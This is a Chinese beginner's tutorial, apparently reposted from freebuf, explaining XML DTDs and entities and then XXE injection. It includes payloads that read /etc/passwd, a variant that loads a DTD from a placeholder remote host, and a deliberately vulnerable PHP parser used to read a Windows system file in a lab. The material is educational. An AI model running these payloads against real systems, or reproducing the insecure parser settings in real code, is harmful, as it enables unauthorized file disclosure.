XXE漏洞详解——基础篇 – 作者:Litbaizhang

网上其他的也有很多xxe的漏洞讲解,但是我大概都看了一遍,对新手还是很不友好的,有很多地方不够详细,所以我这里就尽可能详细的让小白都可以看懂。

那么在学习xxe漏洞之前,需要先了解xml的一些基础知识,下面先介绍以下xml

XML基础知识

XML简介:

XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to     (#PCDATA)>
<!ELEMENT from   (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body   (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

根据以上代码,做出如下解释

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。

!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”

!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型

!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型

!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。

学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体

实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知识基础,我们就可以学习XXE漏洞了。

XXE漏洞——XML外部实体注入(XML External Entity)

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞

例1:

<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>
<x>&b;</x>

如果以上xml代码被解析,则会返回/etc/passwd文件的内容。

例2:

<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >
%d;
]>
<x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行 %d;,这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。

例3:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd">
<x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

不同程序支持的协议不同,如下图:

LIBXML2 PHP JAVA .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

以上面的例子可能还是说的不太清楚,那我们就用一个实例来看一下XXE漏洞到底是什么东西:

实例1:

环境设置

PHPstudy集成 Apache2.4.39 PHP5.2.17nts

xxe.php后端代码

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

访问

1605945314_5fb8c7e23829ef7ca26b5.png!small?1605945314824

刷新并抓包,POST我们构造的payload

1605945317_5fb8c7e57a2ceb414156d.png!small?1605945318220

发包返回我们查看的c:/windows/system.ini

1605945321_5fb8c7e930b979c13cc17.png!small?1605945321657

这就是一个简单的xxe漏洞的利用过程,当然不止文件读取这一种危害,更多的利用方式我们在下一篇文章中为大家介绍!

来源:freebuf.com 2020-11-21 16:08:00 by: Litbaizhang

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论